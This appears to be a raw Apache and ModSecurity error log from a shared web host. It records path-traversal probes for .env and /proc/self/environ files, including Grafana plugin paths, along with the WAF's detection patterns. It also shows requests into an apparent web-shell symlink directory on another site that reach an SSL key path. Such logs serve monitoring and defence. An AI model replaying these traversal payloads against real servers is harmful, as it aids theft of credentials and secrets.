[Mon Oct 26 01:41:55.328897 2026] [security2:error] [pid 2971501:tid 2971501] [client 34.104.156.199:60262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oI4B2F91qaH1mx9i0FAAAAAA"]
[Mon Oct 26 01:41:55.456960 2026] [core:error] [pid 2973325:tid 2973325] [client 34.104.156.199:60232] AH10244: invalid URI path (/%2e%2e/%2e%2e/%2e%2e/%2e%2e/.env)
[Mon Oct 26 01:41:55.540393 2026] [core:error] [pid 2973340:tid 2973340] [client 34.104.156.199:32810] AH10244: invalid URI path (/%2e%2e/%2e%2e/%2e%2e/%2e%2e/proc/self/environ)
[Mon Oct 26 01:41:55.954788 2026] [security2:error] [pid 2973338:tid 2973338] [client 34.104.156.199:32844] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "parkeranders.com"] [uri "/_image"] [unique_id "at7oI05m7a_5HlxYoPwqKQAAABA"]
[Mon Oct 26 01:41:55.954849 2026] [security2:error] [pid 2973338:tid 2973338] [client 34.104.156.199:32844] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "parkeranders.com"] [uri "/_image"] [unique_id "at7oI05m7a_5HlxYoPwqKQAAABA"]
[Mon Oct 26 01:41:55.954923 2026] [security2:error] [pid 2973338:tid 2973338] [client 34.104.156.199:32844] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "parkeranders.com"] [uri "/_image"] [unique_id "at7oI05m7a_5HlxYoPwqKQAAABA"]
[Mon Oct 26 01:41:55.955333 2026] [security2:error] [pid 2973338:tid 2973338] [client 34.104.156.199:32844] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/_image"] [unique_id "at7oI05m7a_5HlxYoPwqKQAAABA"]
[Mon Oct 26 01:41:55.956102 2026] [security2:error] [pid 2973338:tid 2973338] [client 34.104.156.199:32844] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oI05m7a_5HlxYoPwqKQAAABA"]
[Mon Oct 26 01:41:56.265000 2026] [core:error] [pid 2973339:tid 2973339] [client 34.104.156.199:32904] AH10244: invalid URI path (/public/plugins/alertlist/../../../../../../../../proc/self/environ)
[Mon Oct 26 01:41:56.297736 2026] [security2:error] [pid 2963578:tid 2963578] [client 34.104.156.199:32888] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/rclone.conf"] [unique_id "at7oJIl8CCaegHlNIHu8RgAAAD8"]
[Mon Oct 26 01:41:56.298122 2026] [security2:error] [pid 2963578:tid 2963578] [client 34.104.156.199:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/rclone.conf"] [unique_id "at7oJIl8CCaegHlNIHu8RgAAAD8"]
[Mon Oct 26 01:41:56.299363 2026] [security2:error] [pid 2963578:tid 2963578] [client 34.104.156.199:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oJIl8CCaegHlNIHu8RgAAAD8"]
[Mon Oct 26 01:41:56.312335 2026] [core:error] [pid 2973332:tid 2973332] [client 34.104.156.199:32866] AH10244: invalid URI path (/public/plugins/grafana-clock-panel/../../../../../../../../proc/self/environ)
[Mon Oct 26 01:41:56.516246 2026] [core:error] [pid 2968421:tid 2968421] [client 34.104.156.199:32916] AH10244: invalid URI path (/public/plugins/text/../../../../../../../../proc/self/environ)
[Mon Oct 26 01:41:57.048245 2026] [security2:error] [pid 2967444:tid 2967444] [client 34.104.156.199:32982] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/api/v1/.env"] [unique_id "at7oJSzbxoDcPgmvgSFJSAAAAAI"]
[Mon Oct 26 01:41:57.048454 2026] [security2:error] [pid 2967444:tid 2967444] [client 34.104.156.199:32982] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/api/v1/.env"] [unique_id "at7oJSzbxoDcPgmvgSFJSAAAAAI"]
[Mon Oct 26 01:41:57.049233 2026] [security2:error] [pid 2967444:tid 2967444] [client 34.104.156.199:32982] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oJSzbxoDcPgmvgSFJSAAAAAI"]
[Mon Oct 26 01:41:57.089280 2026] [security2:error] [pid 2973340:tid 2973340] [client 34.104.156.199:32980] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /packages/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/packages/.env"] [unique_id "at7oJUSawzgGbmrarQR5UQAAABI"]
[Mon Oct 26 01:41:57.089534 2026] [security2:error] [pid 2973340:tid 2973340] [client 34.104.156.199:32980] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/packages/.env"] [unique_id "at7oJUSawzgGbmrarQR5UQAAABI"]
[Mon Oct 26 01:41:57.090636 2026] [security2:error] [pid 2973340:tid 2973340] [client 34.104.156.199:32980] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oJUSawzgGbmrarQR5UQAAABI"]
[Mon Oct 26 01:41:57.122092 2026] [security2:error] [pid 2971501:tid 2971501] [client 34.104.156.199:32972] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/apps/.env"] [unique_id "at7oJYB2F91qaH1mx9i0FQAAAAA"]
[Mon Oct 26 01:41:57.122329 2026] [security2:error] [pid 2971501:tid 2971501] [client 34.104.156.199:32972] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/apps/.env"] [unique_id "at7oJYB2F91qaH1mx9i0FQAAAAA"]
[Mon Oct 26 01:41:57.123194 2026] [security2:error] [pid 2971501:tid 2971501] [client 34.104.156.199:32972] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oJYB2F91qaH1mx9i0FQAAAAA"]
[Mon Oct 26 01:42:06.143412 2026] [ssl:error] [pid 2973332:tid 2973332] (70014)End of file found: [client 3.90.73.206:12104] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:42:10.146493 2026] [ssl:error] [pid 2973341:tid 2973341] (70014)End of file found: [client 98.84.70.201:31228] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:42:14.124182 2026] [ssl:error] [pid 2973323:tid 2973323] (70014)End of file found: [client 3.221.222.168:22115] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:42:18.379948 2026] [ssl:error] [pid 2963547:tid 2963547] (70014)End of file found: [client 52.45.77.169:20041] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:42:26.265257 2026] [ssl:error] [pid 2973340:tid 2973340] (70014)End of file found: [client 54.164.106.236:34203] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:42:30.165448 2026] [security2:error] [pid 2973332:tid 2973332] [client 3.211.181.86:63595] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory5/node0/memory13/node0/memory16/power/"] [unique_id "at7oRj_i4HNCTNPOg5uzEAAAAAw"]
[Mon Oct 26 01:42:30.165505 2026] [security2:error] [pid 2973332:tid 2973332] [client 3.211.181.86:63595] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory5/node0/memory13/node0/memory16/power/"] [unique_id "at7oRj_i4HNCTNPOg5uzEAAAAAw"]
[Mon Oct 26 01:42:54.123644 2026] [ssl:error] [pid 2971501:tid 2971501] (5)Input/output error: [client 34.233.114.237:46662] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:43:02.284120 2026] [ssl:error] [pid 2973029:tid 2973029] (70014)End of file found: [client 18.215.77.19:35504] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:43:10.137038 2026] [ssl:error] [pid 2973332:tid 2973332] (70014)End of file found: [client 184.73.167.217:25806] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:43:18.127240 2026] [ssl:error] [pid 2967985:tid 2967985] (70014)End of file found: [client 54.209.100.30:12345] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:43:22.229471 2026] [core:error] [pid 2967984:tid 2967984] (13)Permission denied: [client 34.197.28.78:27906] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/ACPI0010:00/LNXCPU:00/physical_node/node0/memory20/node0/cpu1/crash_notes
[Mon Oct 26 01:43:50.144161 2026] [ssl:error] [pid 2963588:tid 2963588] (70014)End of file found: [client 34.203.111.15:18378] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:43:54.140022 2026] [ssl:error] [pid 2963547:tid 2963547] (70014)End of file found: [client 107.20.224.184:17992] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:44:03.561491 2026] [core:error] [pid 2973332:tid 2973332] (13)Permission denied: [client 85.208.96.194:32616] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-16/cpu_slabs
[Mon Oct 26 01:44:06.114850 2026] [ssl:error] [pid 2973339:tid 2973339] (70014)End of file found: [client 184.72.95.195:15995] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:44:06.115047 2026] [security2:error] [pid 2973339:tid 2973339] [client 184.72.95.195:15995] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/cpu/cpu1/node0/memory21/node0/memory12/subsystem/devices/memory11/phys_device"] [unique_id "at7opkLfAtLzrAr2exYz6gAAABE"]
[Mon Oct 26 01:44:06.115069 2026] [security2:error] [pid 2973339:tid 2973339] [client 184.72.95.195:15995] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/cpu/cpu1/node0/memory21/node0/memory12/subsystem/devices/memory11/phys_device"] [unique_id "at7opkLfAtLzrAr2exYz6gAAABE"]
[Mon Oct 26 01:44:10.176224 2026] [ssl:error] [pid 2963578:tid 2963578] (70014)End of file found: [client 18.213.70.100:44243] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:44:14.106302 2026] [ssl:error] [pid 2967984:tid 2967984] (70014)End of file found: [client 34.195.248.30:15776] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:44:18.129195 2026] [ssl:error] [pid 2963547:tid 2963547] (70014)End of file found: [client 18.232.36.1:12603] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:44:19.555652 2026] [core:error] [pid 2973323:tid 2973323] (13)Permission denied: [client 185.191.171.3:20712] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/trace
[Mon Oct 26 01:44:30.129956 2026] [ssl:error] [pid 2972400:tid 2972400] (70014)End of file found: [client 54.162.69.192:52754] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:44:50.180931 2026] [ssl:error] [pid 2973323:tid 2973323] (70014)End of file found: [client 54.198.33.233:64020] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:44:58.184083 2026] [ssl:error] [pid 2973339:tid 2973339] (70014)End of file found: [client 3.229.95.193:19296] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:45:06.115696 2026] [ssl:error] [pid 2963547:tid 2963547] (70014)End of file found: [client 3.94.40.182:43164] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:45:10.232934 2026] [ssl:error] [pid 2963578:tid 2963578] (22)Invalid argument: [client 52.204.37.237:54870] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:45:18.901251 2026] [core:error] [pid 2963547:tid 2963547] (13)Permission denied: [client 185.191.171.4:61116] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-512/objs_per_slab
[Mon Oct 26 01:45:26.318904 2026] [ssl:error] [pid 2967444:tid 2967444] (70014)End of file found: [client 100.25.120.246:62101] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:45:30.165563 2026] [ssl:error] [pid 2963588:tid 2963588] (70014)End of file found: [client 3.93.253.174:13447] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:45:32.822155 2026] [security2:error] [pid 2973339:tid 2973339] [client 85.208.96.196:45782] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/python3.12/encodings/__pycache__/uu_codec.cpython-312.pyc"] [unique_id "at7o_ELfAtLzrAr2exYz7gAAABE"]
[Mon Oct 26 01:45:32.822214 2026] [security2:error] [pid 2973339:tid 2973339] [client 85.208.96.196:45782] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/python3.12/encodings/__pycache__/uu_codec.cpython-312.pyc"] [unique_id "at7o_ELfAtLzrAr2exYz7gAAABE"]
[Mon Oct 26 01:45:34.157451 2026] [ssl:error] [pid 2972400:tid 2972400] (70014)End of file found: [client 98.82.63.147:36481] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:45:38.204840 2026] [ssl:error] [pid 2967984:tid 2967984] (70014)End of file found: [client 52.45.77.169:31572] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:45:42.175103 2026] [ssl:error] [pid 2973323:tid 2973323] (70014)End of file found: [client 98.83.178.66:21467] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:46:10.178280 2026] [ssl:error] [pid 2967444:tid 2967444] (70014)End of file found: [client 52.200.93.170:9142] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:46:18.110318 2026] [security2:error] [pid 2973339:tid 2973339] [client 34.206.249.188:43123] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory1/node0/memory1/power/"] [unique_id "at7pKkLfAtLzrAr2exYz8AAAABE"]
[Mon Oct 26 01:46:18.110365 2026] [security2:error] [pid 2973339:tid 2973339] [client 34.206.249.188:43123] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory1/node0/memory1/power/"] [unique_id "at7pKkLfAtLzrAr2exYz8AAAABE"]
[Mon Oct 26 01:46:20.004621 2026] [core:error] [pid 2972400:tid 2972400] (13)Permission denied: [client 85.208.96.212:14958] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dax_cache/align
[Mon Oct 26 01:46:23.365608 2026] [core:error] [pid 2967444:tid 2967444] (13)Permission denied: [client 185.191.171.7:60560] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kioctx/ctor
[Mon Oct 26 01:46:26.167581 2026] [core:error] [pid 2973332:tid 2973332] (13)Permission denied: [client 50.16.216.166:15844] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/tty/tty11/subsystem/ptmx/subsystem/ttyS2/type
[Mon Oct 26 01:46:42.139999 2026] [ssl:error] [pid 2971501:tid 2971501] (70014)End of file found: [client 34.231.181.240:22553] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:46:58.137734 2026] [ssl:error] [pid 2973323:tid 2973323] (70014)End of file found: [client 18.215.77.19:19718] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:47:14.148629 2026] [ssl:error] [pid 2973333:tid 2973333] (70014)End of file found: [client 54.89.90.224:58700] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:47:18.119079 2026] [ssl:error] [pid 2973325:tid 2973325] (70014)End of file found: [client 54.90.8.255:48195] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:47:26.125849 2026] [ssl:error] [pid 2973338:tid 2973338] (70014)End of file found: [client 52.21.62.139:38126] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:47:30.129765 2026] [core:error] [pid 2973332:tid 2973332] (13)Permission denied: [client 52.21.62.139:53622] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/subsystem/drivers/Cavium PTP Driver/remove_id
[Mon Oct 26 01:47:34.169456 2026] [ssl:error] [pid 2973334:tid 2973334] (70014)End of file found: [client 3.217.171.106:2328] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:47:50.121971 2026] [core:error] [pid 2973338:tid 2973338] (13)Permission denied: [client 52.45.15.233:30534] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/slots/22/module/uevent
[Mon Oct 26 01:47:58.133125 2026] [ssl:error] [pid 2973325:tid 2973325] (70014)End of file found: [client 34.202.88.37:24054] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:48:02.154117 2026] [ssl:error] [pid 2973332:tid 2973332] (5)Input/output error: [client 44.209.187.99:12261] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:48:05.556529 2026] [core:error] [pid 2974954:tid 2974954] (13)Permission denied: [client 85.208.96.194:39520] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-128/reclaim_account
[Mon Oct 26 01:48:06.121049 2026] [ssl:error] [pid 2974955:tid 2974955] (70014)End of file found: [client 52.45.92.83:20282] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:48:07.855112 2026] [security2:error] [pid 2973334:tid 2973334] [client 85.208.96.205:46434] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c14de_0f979_84ecd43cdc9f4a8498da6104a52d5c5e.key"] [unique_id "at7plxuTgBg4-l9uWelcJgAAAA4"]
